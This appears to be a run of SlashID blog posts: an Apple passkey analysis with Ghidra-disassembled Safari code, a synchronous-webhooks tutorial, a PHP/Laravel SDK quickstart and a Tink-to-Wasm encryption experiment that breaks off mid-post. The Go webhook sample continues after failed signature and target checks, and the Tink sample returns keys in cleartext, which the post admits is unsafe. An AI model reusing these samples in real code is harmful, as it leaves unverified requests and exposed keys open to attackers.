                  'x': b'h\xf8\x07)'
                      b'\x8c\xa4\xcc#'
                      b'\xc4\x80^\xda'
                      b'\x19#O\xcf'
                      b'\xc1\xc5o\xb7'
                      b"\x90'TL)\x05r\xc6"
                      b'\xa2[\x9a[',
                  'y': b'5\xb9\xfa\x87'
                      b'O*\xf92\x91F\xa9~'
                      b'A\xf0tt'
                      b'\xb5\x16i\x04'
                      b'\xded\x06\xf6k0O3'
                      b'\xa8\x9a\xaa\x9a'}},
  'flags': {   'attestedCredDataIncluded': True,
               'extensionDataIncluded': False,
               'userPresent': True,
               'userVerified': True},
  'flagsRaw': 69,
  'rpIdHash': b'I\x96\r\xe5\x88\x0e\x8cht4\x17\x0fdv`[\x8f\xe4\xae\xb9'
              b'\xa2\x862\xc7\x99\\\xf3\xba\x83\x1d\x97',
  'signCount': 0}

There are two main differences between the attestationObject created by Chrome and Safari:

The Authenticator Attestation Global Unique Identifier (AAGUID) for Safari is zero’ed out. An AAGUID is a 128-bit identifier indicating the authenticator type. The manufacturer must ensure that the AAGUID is the same across all substantially identical keys made by that manufacturer, and different (with high probability) from the AAGUIDs of all other types of keys. Apple, by not sharing its AAGUID, makes it impossible to recognize a public key generated by an Apple device.
The attStmt field is empty for the public keys generated with Safari. This field contains a cryptographically verifiable statement. For most vendors that means an array of X.509 certificates forming a chain up to Root CA for that manufacturer. Apple, starting from iOS 16 and Mac OS Ventura, makes it impossible to verify the authenticity of the attestation generated via Safari, because the authenticator doesn’t generate any attestation statement.

These two changes are meaningful because it is now impossible to verify the device type used to generate a key, and hence the trustworthiness of the key and its metadata. In fact, the lack of an attestation statement means that you can't prove the key has been stored, or even generated, safely because you can't infer properties/provenance of the authenticator.

How are passkeys stored vs Platform authenticator keys

Passkeys and traditional platform authenticator keys are generated and stored in an Apple-specific trusted secure subsystem called Secure Enclave Processor (SEP), which is separate from the main processor and which is capable of preserving the integrity of the data even in the event of a device compromise.

The bar to compromise the Secure Enclave is extremely high, and therefore the most sensitive data types such as Apple Pay and FaceID data are stored there. This presentation has a great in-depth explanation of how SEP works.

Unlocking access to a WebAuthn credential requires users to confirm their identity either through FaceID or TouchID (depending on the device model). In both cases, the communication between the biometric sensor and the Secure Enclave happens over a physical serial peripheral bus over an encrypted channel, and the data never leaves the Secure Enclave, where it is verified against a 2D representation of the original biometric data. This guide from Apple has further details on SEP-based creation and storage of keys.

This is an example of how Chrome creates WebAuthn keys through SEP:

base::ScopedCFTypeRef<SecAccessControlRef>
TouchIdCredentialStore::DefaultAccessControl() {
 return base::ScopedCFTypeRef<SecAccessControlRef>(
     SecAccessControlCreateWithFlags(
         kCFAllocatorDefault,
         // Credential can only be used when the device is unlocked.
         kSecAttrAccessibleWhenUnlockedThisDeviceOnly,
         // Private key is available for signing after user authorization with
         // biometrics or password.
         kSecAccessControlPrivateKeyUsage | kSecAccessControlUserPresence,
         nullptr));
}
absl::optional<std::pair<Credential, base::ScopedCFTypeRef<SecKeyRef>>>
TouchIdCredentialStore::CreateCredential(
  const std::string& rp_id,
  const PublicKeyCredentialUserEntity& user,
  Discoverable discoverable) const {
…
CFDictionarySetValue(params, kSecAttrSynchronizable, @NO);
CFDictionarySetValue(params, kSecAttrTokenID, kSecAttrTokenIDSecureEnclave);
 …
CFDictionarySetValue(private_key_params, kSecAttrIsPermanent, @YES);
 CFDictionarySetValue(private_key_params, kSecAttrAccessControl,
                      DefaultAccessControl());
…
base::ScopedCFTypeRef<CFErrorRef> cferr;
base::ScopedCFTypeRef<SecKeyRef> private_key =
    Keychain::GetInstance().KeyCreateRandomKey(params,
                                               cferr.InitializeInto());
…
}

Crucially, note how Chrome uses three parameters:

kSecAttrSynchronizable is set to NO. In other words, this key cannot be synchronized through iCloud.
kSecAttrTokenIDSecureEnclave calls KeyCreateRandomKey to generate the key directly in SEP.
kSecAttrAccessibleWhenUnlockedThisDeviceOnly is specified, which forces the key to be encrypted with a resident device key that can’t be migrated to iCloud. Per Apple, "This is recommended for items that need to be accessible only while the application is in the foreground. Items with this attribute do not migrate to a new device. Thus, after restoring from a backup of a different device, these items will not be present."

So what about Safari? Apple clarifies in their documentation that Safari keychain items are synchronized.

As a result, every item that will sync must be explicitly marked with the kSecAttrSynchronizable attribute. Apple sets this attribute for Safari user data (including user names, passwords, and credit card numbers), as well as for Wi-Fi passwords, HomeKit encryption keys, and other keychain items supporting end-to-end iCloud encryption.

The Safari codebase is confusing with respect to key creation. On the surface, it looks like kSecAttrSynchronizable is not specified anywhere:

RetainPtr<SecKeyRef> LocalConnection::createCredentialPrivateKey(LAContext *context, SecAccessControlRef accessControlRef, const String& secAttrLabel, NSData *secAttrApplicationTag) const
{
  RetainPtr privateKeyAttributes = @{
      (id)kSecAttrAccessControl: (id)accessControlRef,
      (id)kSecAttrIsPermanent: @YES,
      (id)kSecAttrAccessGroup: @(LocalAuthenticatorAccessGroup),
      (id)kSecAttrLabel: secAttrLabel,
      (id)kSecAttrApplicationTag: secAttrApplicationTag,
  };
  if (context) {
      auto mutableCopy = adoptNS([privateKeyAttributes mutableCopy]);
      mutableCopy.get()[(id)kSecUseAuthenticationContext] = context;
      privateKeyAttributes = WTFMove(mutableCopy);
  }
  NSDictionary *attributes = @{
      (id)kSecAttrTokenID: (id)kSecAttrTokenIDSecureEnclave,
      (id)kSecAttrKeyType: (id)kSecAttrKeyTypeECSECPrimeRandom,
      (id)kSecAttrKeySizeInBits: @256,
      (id)kSecPrivateKeyAttrs: privateKeyAttributes.get(),
  };
  LOCAL_CONNECTION_ADDITIONS
  CFErrorRef errorRef = nullptr;
  auto credentialPrivateKey = adoptCF(SecKeyCreateRandomKey((__bridge CFDictionaryRef)attributes, &errorRef));
  auto retainError = adoptCF(errorRef);
  if (errorRef) {
      LOG_ERROR("Couldn't create private key: %@", (NSError *)errorRef);
      return nullptr;
  }
  return credentialPrivateKey;
}

However, paying closer attention, you’ll notice a macro in the code called LOCAL_CONNECTION_ADDITIONS. This cryptic macro is defined as:

#if USE(APPLE_INTERNAL_SDK)
#import <WebKitAdditions/LocalConnectionAdditions.h>
#else
#define LOCAL_CONNECTION_ADDITIONS
#endif

Looking at the disassembled function generated through Ghidra, we can see what actually happens:

void __ZNK6WebKit15LocalConnection26createCredentialPrivateKeyEP9LAContextP18__SecAccessControlRKN3W TF6StringEP6NSData
              (undefined8 param_1,long param_2,undefined8 param_3,long *param_4,undefined8 param_5)
{
 …
 (&_OBJC_CLASS_$_NSString,"stringWithUTF8String:","com.apple.webkit.webauthn");
 ...
 uVar7 = *(undefined8 *)__got::_kSecAttrLabel;
 …
 local_180 = *(undefined8 *)__got::_kSecAttrTokenID;
 local_160 = *(undefined8 *)__got::_kSecAttrTokenIDSecureEnclave;
 uVar9 = *(undefined8 *)__got::_kSecAttrKeyType;
 uVar8 = *(undefined8 *)__got::_kSecAttrKeyTypeECSECPrimeRandom;
 uVar13 = *(undefined8 *)__got::_kSecAttrKeySizeInBits;
 uVar11 = *(undefined8 *)__got::_kSecPrivateKeyAttrs;
 local_150 = &PTR__OBJC_CLASS_$_NSConstantIntegerNumber_00c3a9f0;
 uStack376 = uVar9;
 local_170 = uVar13;
 uStack360 = uVar11;
 uStack344 = uVar8;
 lStack328 = lVar3;
 uVar4 = __auth_stubs::_objc_msgSend
                   (&_OBJC_CLASS_$_NSDictionary,"dictionaryWithObjects:forKeys:count:",&local_160,
                    &local_180,4);
 lVar2 = (*(code *)__ZN6WebKit27getASCWebKitSPISupportClassE)();
 if (lVar2 != 0) {
   uVar5 = (*(code *)__ZN6WebKit27getASCWebKitSPISupportClassE)();
   iVar1 = __auth_stubs::_objc_msgSend(uVar5,"shouldUseAlternateCredentialStore");
   if (iVar1 != 0) {
     local_b0 = *(undefined8 *)__got::_kSecAttrSynchronizable;
     local_90 = __got::___kCFBooleanTrue;
     local_80 = &PTR__OBJC_CLASS_$_NSConstantIntegerNumber_00c3a9f0;
     local_d0 = __got::___kCFBooleanTrue;
     local_f0 = uVar10;
     uStack232 = uVar6;
     uStack168 = uVar9;
     local_a0 = uVar13;
     uStack152 = uVar11;
     uStack136 = uVar8;
     local_c8 = __auth_stubs::_objc_msgSend
                          (&_OBJC_CLASS_$_NSString,"stringWithUTF8String:",
                           "com.apple.webkit.webauthn");
     local_e0 = uVar7;
     if (*param_4 == 0) {
       local_c0 = &cf_"";
     }
     else {
       local_c0 = (cfstringStruct *)__auth_stubs::__ZN3WTF10StringImplcvP8NSStringEv();
     }
     local_d8 = uVar12;
     uStack184 = param_5;
     local_78 = __auth_stubs::_objc_msgSend
                          (&_OBJC_CLASS_$_NSDictionary,"dictionaryWithObjects:forKeys:count:",
                           &local_d0,&local_f0,4);
     uVar4 = __auth_stubs::_objc_msgSend
                       (&_OBJC_CLASS_$_NSDictionary,"dictionaryWithObjects:forKeys:count:",
                        &local_90,&local_b0,4);
   }
 }
 local_90 = (undefined *)0x0;
 lVar2 = __auth_stubs::_SecKeyCreateRandomKey(uVar4,&local_90);

In other words, when Safari is built with the internal APPLE_INTERNAL_SDK the dictionary passed to SecKeyCreateRandomKey is modified to include kSecAttrSynchronizable as a parameter, making the key exportable.

You might have noticed that in both code snippets a private key object is returned, even though it’s created by the Secure Enclave. The private key is logically part of the keychain, and you can later obtain a reference to it in the usual way, but the key data is encoded and not available in clear-text, and only the Secure Enclave can use the key.

How are keys exported from the Secure Enclave?

As mentioned earlier, the purpose of storing sensitive data in the Secure Enclave is to avoid exposing private keys outside of the secure processor, so a reasonable question is: how exactly are keys exported from the SEP to iCloud?

As mentioned above, SecKeyCreateRandomKey returns a reference to the private key but, when the key is generated in the Secure Enclave, SecKeyCreateRandomKey returns an encoded key instead of a clear-text private key.

Normally these keys are encrypted with a Secure Enclave keypair that never leaves the device. However, if an item is marked as kSecAttrSynchronizable, the Secure Enclave will use a different keypair to encrypt the key. Quoting Apple:

When a user enables iCloud Keychain for the first time, the device establishes a circle of trust and creates a syncing identity for itself. The syncing identity consists of a private key and a public key, and is stored in the device’s keychain. The public key of the syncing identity is put in the circle, and the circle is signed twice: first by the private key of the syncing identity, and then again with an asymmetric elliptical key (using P-256) derived from the user’s iCloud account password. Also stored with the circle are the parameters (random salt and iterations) used to create the key that’s based on the user’s iCloud password.

In other words, the private key used to encrypt kSecAttrSynchronizable keys in the Secure Enclave is backed in iCloud. As such, when a new device needs to restore the keychain it can reconstruct the private key and thus decrypt the keypair needed to access all the private keys marked as kSecAttrSynchronizable, which include passkeys.

How does iCloud Keychain keep data safe?

As we’ve seen, the security of passkeys relies on the security of the iCloud Keychain. Apple does a great job at explaining how iCloud Keychain data can be accessed and its recovery process.

The brief summary of the storage model is that the iCloud Keychain data is encrypted with an hardware-bound keypair, stored in an hardware security module (HSM). The key is inaccessible to Apple. The encrypted keypair is then stored with Apple. To quote the documentation

The iOS, iPadOS, or macOS device first exports a copy of the user’s keychain and then encrypts it wrapped with keys in an asymmetric keybag and places it in the user’s iCloud key-value storage area. The keybag is wrapped with the user’s iCloud security code and with the public key of the hardware security module (HSM) cluster that stores the escrow record. This becomes the user’s iCloud escrow record. For two-factor authentication accounts, the keychain is also stored in CloudKit and wrapped to intermediate keys that are recoverable only with the contents of the iCloud escrow record, thereby providing the same level of protection.

The recovery process requires the user to have access to:

Authenticate to their iCloud account
Receive an SMS code on the user phone number saved for recovery
The passcode of one of the devices

Apple implements various other mechanisms to reduce the risk of credential stuffing attacks.

More information here, here and here.

Conclusion

Passkeys are a significant step forward in the journey to go passwordless at scale. Even though their security profile is weaker than hardware-bound WebAuthn keys, Apple has a strong recovery process for iCloud Keychain, which partially mitigates the associated risks and the main security benefit of WebAuthn, phishing protection, is preserved with passkeys.

However, the changes introduced by Apple to implement passkeys make both verifying the provenance and storage of the key and the creation of hardware-bound iOS keys impossible, significantly reducing the scope of WebAuthn security and integrity guarantees.

Synchronous Webhooks

Joseph Gardner, Vincenzo Iozzo — Thu, 20 Jul 2023 00:00:00 GMT

We are excited to release synchronous webhooks, the latest addition to our webhooks features. With synchronous webhooks, you can extend SlashID Access to suit your business needs in a few simple steps, in whatever language and environment makes sense for you.

In this blogpost, we will introduce synchronous webhooks by answering three questions – why, what, and how, including a short example.

The Why

Our initial webhooks release focused on asynchronous webhooks triggered by events, which are ideal for analytics and monitoring.

However, there are many use cases where you need to extend the identity logic in some business-specific way. For example, you may need to enrich an authentication token with information you keep internally, or ensure that certain actions are included in your internal audit log.

With SlashID synchronous webhooks, you can quickly and easily integrate your custom identity logic into SlashID’s existing flows, using the language and deployment environment that makes the most sense for you and your organization. You gain visibility into crucial identity flows, and have the opportunity to affect their outcomes.

The What

Synchronous hooks are the extension points in SlashID flows where your webhooks will be called. Each type of synchronous hook has its own content, and accepts specific responses that can be used to affect the relevant flows.

For this initial release, we have focused on hooks when the user registers or signs-in. Specifically, we hook the point during sign-in after authentication has succeeded, but before we sign and issue the authentication token to the user. The hook content contains the claims that will be present in the issued token. The response from your webhook can optionally contain custom claims as key-value pairs, which will be added as claims in the token before it is issued.

This hook allows you to change the authentication/registration flow and add your custom business logic before the token is returned to the requesting application. Crucially, the webhook is executed before the token is signed to avoid potential security concerns.

The How

Synchronous webhooks build on SlashID’s existing webhooks functionality – so you can use exactly the same APIs to manage your webhooks, and the webhook requests follow the same pattern. You will need to implement the handler for your webhook endpoint, and then you’re ready to start receiving synchronous hook requests.

Let’s see how this works in practice.

First, you need to implement the API for handling webhook requests. In this example, we will fetch some personal details about the user logging in and use these to enrich the token. For brevity, we have omitted error handling.

import (
	"encoding/json"
	"io"
	"net/http"
	"net/url"

	"github.com/google/tink/go/jwt"
)

const (
	sidOrgID       = "my-slashid-organization-id"
	sidBaseURL     = "https://api.slashid.com"
	svcBaseURL     = "https://my-service.com"
	sidWebhookPath = "/sid/webhook"
)

func HandleSlashIDWebhook(r *http.Request, w http.ResponseWriter) {
	// Read the body from the request - this will be a signed and encoded JWT
	reqBody, _ := io.ReadAll(r.Body)
	defer r.Body.Close()

	// Retrieve the verification key for your organization using the SlashID APIs
	verificationJWKS := getVerificationJWKS()
	verificationKeyset, _ := jwt.JWKSetToPublicKeysetHandle(verificationJWKS)

	// Build the verifier and validator
	verifier, _ := jwt.NewVerifier(verificationKeyset)

	issuer := sidBaseURL
	aud := sidOrgID
	validator, _ := jwt.NewValidator(&jwt.ValidatorOpts{
		ExpectedIssuer:         &issuer,
		AllowMissingExpiration: false,
		ExpectedAudience:       &aud,
	})

	// Verify the JWT - this will include the issuer, audience, and expiration
	verifiedJWT, err := verifier.VerifyAndDecode(string(reqBody), validator)
	if err != nil {
		// The request body cannot be verified as coming from SlashID and so should not be trusted!
	}

	// Check the target URL matches the endpoint this handler is associated with
	targetURL, _ := verifiedJWT.StringClaim("target_url")
	expectedTargetURL, _ := url.JoinPath(svcBaseURL, sidWebhookPath)
	if targetURL != expectedTargetURL {
		// This URL does not seem to be the intended target - ignore, log
	}

	// We are happy that the webhook request is legitimate, so we can handle the actual content
	// In this case, we are expecting a token minted sync hook, so the trigger content is the
	// claims that will appear in the user token SlashID is about to issue to the authenticated user.
	userTokenClaims, _ := verifiedJWT.ObjectClaim("trigger_content")
	personID := userTokenClaims["sub"]

	// Here we have your business logic to retrieve name (string) and address (array of strings)
	name, address := getPersonalDetails(personID.(string))

	// Write these as JSON in the response body
	respMap := map[string]any{
		"name":    name,
		"address": address,
	}
	respBody, _ := json.Marshal(respMap)
	_, _ = w.Write(respBody)

	return
}

Now, we will make two API calls to SlashID - one to create a webhook, and one to create a trigger for that webhook.

curl -X POST --location 'https://api.slashid.com/organizations/webhooks' \
--header 'SlashID-OrgID: my-slashid-organization-id' \
--header 'SlashID-API-Key: my-slashid-api-key' \
--header 'Content-Type: application/json' \
--data '{
    "target_url": "https://my-service.com/sid/webhook",
    "name": "token minted webhook",
}'


{
  "result": {
    "id": "e64c7123-497d-7e12-b665-341b5defdec1",
    "target_url": "https://my-service.com/sid/webhook",
  }
}

curl -X POST --location 'https://api.slashid.com/organizations/webhooks/e64c7123-497d-7e12-b665-341b5defdec1/triggers' \
--header 'SlashID-OrgID: my-slashid-organization-id' \
--header 'SlashID-API-Key: my-slashid-api-key' \
--header 'Content-Type: application/json' \
--data '{
    "trigger_type": "sync_hook",
    "trigger_name": "token_minted"
}'

Now suppose a user authenticates to your application via SlashID, using an email link.

Once they have successfully authenticated, the SlashID backend prepares a token. Before the token is signed and issued back to the user, SlashID reaches the hook point and checks for webhooks registered for this trigger. It finds the webhook you created earlier, and so your webhook is called.

The body will be a signed JWT, which your handler function verifies and decodes. If we decode the JWT payload, we see that the trigger content contains the claims that will be present in the user token:

{
  "aud": "my-slashid-organization-id",
  "iss": "https://slashid.local",
  "target_url": "https://my-service.com/sid/webhook",
  "trigger_name": "token_minted",
  "trigger_type": "sync_hook",
  "webhook_id": "e64c7123-497d-7e12-b665-341b5defdec1",

  "trigger_content": {
    "aud": "my-slashid-organization-id",
    "authentications": [
      {
        "handle": {
          "type": "email_address",
          "value": "alex.singh@slashid.dev"
        },
        "method": "email_link",
        "timestamp": "2023-07-18T12:25:56.390080959Z"
      }
    ],
    "first_token": false,
    "groups": ["admins"],
    "groups_claim_name": "groups",
    "iss": "https://slashid.local",
    "region": "us-iowa",
    "sub": "165c7138-545d-7065-8ff2-13850368729"
  }
}

Your handler retrieves the personal information, and returns it in the response. The SlashID backend uses this response to enrich the token, which is then signed and issued to the user. The final token payload will look like this:

{
  "aud": "my-slashid-organization-id",
  "authentications": [
    {
      "handle": {
        "type": "email_address",
        "value": "alex.singh@example.com"
      },
      "method": "email_link",
      "timestamp": "2023-07-18T12:25:56.390080959Z"
    }
  ],
  "first_token": false,
  "groups": ["admins"],
  "groups_claim_name": "groups",
  "iss": "https://slashid.local",
  "region": "us-iowa",
  "sub": "165c7138-545d-7065-8ff2-13850368729",
  "name": "Alex Singh",
  "address": ["123 Main Street", "Honolulu", "Hawaii", "96801"]
}

It contains the claims that your webhook received in the request, plus those returned in the response.

Summary

With this release, you can use synchronous webhooks to extend SlashID Access. We will be adding more hooks and features in the near future, so stay tuned for release announcements.

Ready to try SlashID? Register here!

Is there a feature you’d like to see, or have you tried out webhooks and have some feedback? Let us know!

SlashID SDK for PHP and Laravel authentication

Vincenzo Iozzo, SlashID Team — Tue, 02 Apr 2024 00:00:00 GMT

Introduction

PHP is a foundational language and many websites and frameworks are built on it, notoriously WordPress and Facebook. According to W3Tech, PHP is used in over 76% of indexed websites out there.

At SlashID, we love to support the latest frameworks and technologies such as our Remix SDK, but our mission is to solve real problems for real people. Given the importance of PHP in the ecosystem and the relative lack of modern authentication libraries available, we decided to fill that gap and release a PHP library coupled with a Laravel library.

Laravel is one of the more popular PHP frameworks out there but not the only one: in the next few weeks, we'll release support for Symfony, Drupal, and more.

Design principles

Our core PHP SDK serves as the base for all the frameworks integrations. At a high level, it provides a wrapper around the SlashID APIs. But the SDK goes beyond that and provides several useful abstractions:

Errors in the APIs are mapped to PHP exceptions
A SlashID user is mapped to the Person class
An abstraction to migrate users
An abstraction for the SlashID webhooks

Laravel quickstart

Now that we covered the design principle of the core PHP SDK, let's see how to deploy SlashID with Laravel.

1. Install the Laravel SlashID package

composer require slashid/laravel

2. Edit the environment file

SLASHID_ENVIRONMENT: either "sandbox" or "production"
SLASHID_ORGANIZATION_ID: your organization's ID. You'll find it in your SlashID console (https://console.slashid.dev/ for production, https://console.sandbox.slashid.dev/ for sandbox), in the "Settings" tab, at the top of the page.
SLASHID_API_KEY: your organization's API Key. You'll also find it in your SlashID console, in the "Settings" tab, at the very bottom of the page.

Here's an example configuration for your .env file:

SLASHID_ENVIRONMENT=sandbox
SLASHID_ORGANIZATION_ID=412edb57-ae26-f2aa-9999-770021ed64a0
SLASHID_API_KEY=z0dlY-nluiq8mcvm8YTolSkJV678

3. Publish the resource

Run the following artisan command to publish the resources:

php artisan vendor:publish --provider="SlashId\Laravel\Providers\SlashIdServiceProvider"

You're ready! Now access /login in your website and enjoy your new login with SlashID.

4. Customize the login flow

The Laravel package comes with a bundle of the SlashID React SDK and a small JavaScript glue piece of code in vendor/slashid/laravel/public/slashid.laravel-web-login.js.

There are two ways to customize the flow:

Change the login form: the SlashID login form is rendered in two Blade templates: slashid/login.blade.php and slashid/login-form.blade.php. If you want to wrap the login form in /login inside the layout of the page, you can override the login template as shown here.
Customize the bundled React SDK as shown here.

Bonus: migrate users with ease

If you are installing SlashID in an existing Laravel website, you may already have a user base that you'll want to migrate to SlashID's database. This is made easy with two migration commands.

1. Run the migration script

First, you have to run the artisan command php artisan slashid:import:create-script. It will ask you the User class in your installation, usually \App\Models\User.

$ php artisan slashid:import:create-script

 Please inform the class of the user model [\App\Models\User]:
 >

The Slash ID migration script has been created at /var/www/html/database/slashid/user-migration.php. Please open the file and modify it according to the instructions in it.

2. Adapt the generated script

A script will be created in database/slashid/user-migration.php. It will look like this:

<?php

use SlashId\Laravel\SlashIdUser;

/** @var \Illuminate\Contracts\Auth\Authenticatable[] */
$laravelUsers = \App\Models\User::all();
$slashIdUsers = [];
foreach ($laravelUsers as $laravelUser) {
    $slashIdUser = new SlashIdUser();
    $slashIdUser
        ->addEmailAddress($laravelUser->email)
        ->setLegacyPasswordToMigrate($laravelUser->getAuthPassword())
        // Uncomment if you want to set the phone number.
        // ->addPhoneNumber($laravelUser->phone_number)
        // Uncomment if you want to set groups.
        // ->setGroups(['Editor'])
        // Uncomment if you want to specify a region for the user.
        // ->setRegion('us-iowa')
        ->setBucketAttributes(\SlashId\Php\PersonInterface::BUCKET_ORGANIZATION_END_USER_NO_ACCESS, [
            // List the user attributes you want to migrate, grouped by bucket.
            'old_id' => $laravelUser->getAuthIdentifier(),
            'firstname' => $laravelUser->firstname,
            'email_verified_at' => $laravelUser->email_verified_at,
            'lastname' => $laravelUser->lastname,
            'username' => $laravelUser->username,
        ]);

    $slashIdUsers[] = $slashIdUser;
}

return $slashIdUsers;

You must change user-migration.php to model the data to be migrated as you want. The script must return an array of \SlashId\Laravel\SlashIdUser with all the users you want to bulk import into SlashID.

3. Execute the migration

After adapting the script to your needs, run php artisan slashid:import:run:

$ php artisan slashid:import:run
+------------------------+---------------+--------+-------+--------+-------------------------------------------------------------------------------------------------------------------------------+
| Emails                 | Phone numbers | Region | Roles | Groups | Attributes                                                                                                                    |
+------------------------+---------------+--------+-------+--------+-------------------------------------------------------------------------------------------------------------------------------+
| rattazzi@example.com   |               |        |       |        | {"end_user_no_access":{"old_id":1,"firstname":"Urbano","email_verified_at":null,"lastname":"Rattazzi","username":"rattazzi"}} |
| nitti@example.com      |               |        |       |        | {"end_user_no_access":{"old_id":2,"firstname":"Francesco","email_verified_at":null,"lastname":"Nitti","username":"nitti"}}    |
| cavour@example.com     |               |        |       |        | {"end_user_no_access":{"old_id":3,"firstname":"Camillo","email_verified_at":null,"lastname":"Cavour","username":"cavour"}}    |
+------------------------+---------------+--------+-------+--------+-------------------------------------------------------------------------------------------------------------------------------+

 Do you want to proceed with importing 3 users? (yes/no) [no]:
 > yes

2 successfully imported users.
1 user failed to import. Check the file /var/www/html/database/slashid/migration-failed-202403271142.csv for errors.

Any errors that occur in a migration will be output as a CSV. Check the CSV to fix the errors and run again.

Conclusion

In this brief blog post, we have introduced our idiomatic PHP core SDK and the SlashID Laravel SDK. If you're ready to upgrade your PHP code base to a modern authentication experience, SlashID is here to assist. Don't hesitate to reach out to us or sign up for free here!

In-browser HSM-backed Encryption with Tink and Wasm

Vincenzo Iozzo, SlashID Team — Sun, 18 Dec 2022 00:00:00 GMT

Introduction

We already wrote about our app-layer encryption model and how we use it to prevent mass-exfiltration and keep user data safe. However, with our model the end user still has to trust our ability to keep data safe and secure.

The natural evolution of this is to allow the user to perform client-side encryption so that SlashID is unable to decrypt any data stored with us. Client-side encryption involves several building blocks and has a number of tradeoffs that make it unsuitable for some use cases.

This blogpost is an experiment to show what is possible with Wasm and Tink, rather than a design recommendation. In particular we’ll show a proof of concept of how to encrypt data directly from the browser using a master key stored in a Hardware Security Module (HSM) using Tink (Google’s open-source cryptography library) and WebAssembly (Wasm), but it is not meant as a recommendation on how to implement secure client-side encryption.

It is also worth mentioning that client-side encryption is significantly easier and safer in native environments such as iOS apps, and we expect that some of those capabilities (for example, the ability to encrypt/decrypt data through the Secure Enclave) will eventually be exposed to the browser through Web Crypto.

Web Crypto vs Tink

While Web Crypto APIs have now reached over 97% coverage in browsers, Mozilla is the first one to warn that the use of these primitives is very challenging and with a potentially disastrous impact on security:

Warning: The Web Crypto API provides a number of low-level cryptographic primitives. It's very easy to misuse them, and the pitfalls involved can be very subtle.

Even assuming you use the basic cryptographic functions correctly, secure key management and overall security system design are extremely hard to get right, and are generally the domain of specialist security experts.

Errors in security system design and implementation can make the security of the system completely ineffective.

We fully agree with the Mozilla folks! In fact, while it is certainly possible to use native Web Crypto to implement end-to-end encryption (here’s an example), we are big proponents of using a safer abstraction layer on top of low-level cryptographic primitives.

Furthermore, Web Crypto has limited support for cryptographic primitives. For instance, neither deterministic encryption nor streaming encryption are supported.

Tink provides a safer layer of abstraction above underlying cryptographic primitives and has support for several cryptographic primitives including Envelope Encryption and Deterministic Encryption, that’s why we chose it for our app-layer encryption model.

Given our positive experience with Tink, we wanted to experiment with something comparable in the browser.

Tink through Wasm

The Tink maintainers started to work on a Typescript version of Tink but as of today it is still experimental and there’s no timeline for a stable release. We therefore turned to Wasm to lift the stable Golang implementation of Tink to JavaScript.

In general, there are two requirements to lift a program to Wasm:

Compiler support to translate the original application into Wasm bytecode
A system interface to allow the Wasm bytecode to interact with the rest of the system (e.g., the filesystem or the network)

Wasm was introduced in 2017, and since then it has gained a lot of popularity and widespread support. When it comes to compiling from Go to Wasm, we have two options:

The Go compiler supports the generation of Wasm bytecode out of the box, although Go still doesn’t have native support for The WebAssembly System Interface (WASI)
TinyGo, which offers support for WASI

Unfortunately, TinyGo has limited support for the standard Go libraries and is not able to run Tink out of the box, so for this blogpost we’ll stick to the native Go compiler.

Lifting Tink to Wasm

To compile a Go program in Wasm with the native compiler, we simply need to set GOOS and GOARCH to GOOS=js GOARCH=wasm. Let’s try that out with Tink and see if it still passes the unit tests:

git clone https://github.com/google/tink
Cloning into 'tink'...
$ cd tink/go
$ export PATH="$PATH:$(go env GOROOT)/misc/wasm"
$ GOOS=js GOARCH=wasm  go test ./...
…
FAIL    github.com/google/tink/go/integration/hcvault [build failed]
…

The Hashicorp Vault tests fail and in general the tests are slower than native, but overall Tink seems to be usable. In particular, the test suites for signature, aed and core seem to pass.

A simple Tink interface

To use Tink from JavaScript we need to expose an interface usable from the browser. Let’s write a simple encrypt/decrypt pair that uses AES GCM to encrypt/decrypt data and returns it base64-encoded to the caller.

The code uses syscall/js to interact with JavaScript.


func encryptString(this js.Value, args []js.Value) interface{} {

   var msg string
   if len(args) < 1 {
       fmt.Println("Not enough arguments")
       return nil
   }

   if args[0].Type() != js.TypeString {
       fmt.Println("the argument is not a string")
       return nil
   }

   msg = args[0].String()
   fmt.Println("Encrypting:", msg)
   //For this example we use AES_128_GCM. Let's create a keyset
   kh, err := keyset.NewHandle(aead.AES128GCMKeyTemplate())
   if err != nil {
       fmt.Printf("Error creating the keyset %v\n", err)
       return nil
   }

   aeadPrimitive, err := aead.New(kh)
   if err != nil {
       fmt.Printf("Error creating the aead primitive %v\n", err)
       return nil
   }

   //Let's encrypt the message
   ct, err := aeadPrimitive.Encrypt([]byte(msg), nil)
   if err != nil {
       fmt.Printf("Error encrypting data %v\n", err)
       return nil
   }

   b64EncryptedData := base64.URLEncoding.EncodeToString(ct)

   //we are returning the keyset to the caller which is not recommended behavior
   // so we need to export it through the insecurecleartextkeyset interface
   buffer := new(bytes.Buffer)
   exportedPriv := keyset.NewJSONWriter(buffer)
   err = insecurecleartextkeyset.Write(kh, exportedPriv)
   if err != nil {
       fmt.Printf("Error exporting keyset %v\n", err)
       return nil
   }

   b64Keyset := base64.URLEncoding.EncodeToString(buffer.Bytes())

   return []interface{}{b64EncryptedData, b64Keyset}
}

The function to decrypt a string given a key looks as follows:

func decryptString(this js.Value, args []js.Value) interface{} {

   if len(args) < 2 {
       fmt.Println("Not enough arguments")
       return nil
   }

   if args[0].Type() != js.TypeString {
       fmt.Println("the value to decrypt is not a string")
       return nil
   }

   if args[1].Type() != js.TypeString {
       fmt.Println("the keyset is not a string")
       return nil
   }

   encryptedString := args[0].String()
   b64EncKeyset := args[1].String()

   encryptedStringBinary, err := base64.URLEncoding.DecodeString(encryptedString)
   if err != nil {
       fmt.Println("Error decoding Base64 encoded data")
       return nil
   }

   decodedKeyset, err := base64.URLEncoding.DecodeString(b64EncKeyset)
   if err != nil {
       fmt.Println("Error decoding Base64 encoded data")
       return nil
   }

   //let's load the keyset to decrypt encryptedString
   reader := keyset.NewJSONReader(bytes.NewBuffer([]byte(decodedKeyset)))
   decryptionKeyset, err := insecurecleartextkeyset.Read(reader)
   if err != nil {
       fmt.Printf("Error reading the keyset %v\n", err)
       return nil
   }

   aeadPrimitive, err := aead.New(decryptionKeyset)
   if err != nil {
       fmt.Printf("Error creating the aead primitive %v\n", err)
       return nil
   }

   //now we can decrypt the string
   decryptedString, err := aeadPrimitive.Decrypt([]byte(encryptedStringBinary), nil)
   if err != nil {
       fmt.Printf("Error decrypting data %v\n", err)
       return nil
   }

   b64DecryptedData := base64.URLEncoding.EncodeToString([]byte(decryptedString))
   return b64DecryptedData
}

Now that we have the primitives to encrypt/decrypt data we can expose them to the browser

func main() {

   global := js.Global()
   global.Set("wasmEncryptString", js.FuncOf(encryptString))
   global.Set("wasmDecryptString", js.FuncOf(decryptString))
   fmt.Println("wrappers ready")

   //never exit
   done := make(chan struct{}, 0)
   <-done
}

Using the functions from the browser is straightforward:

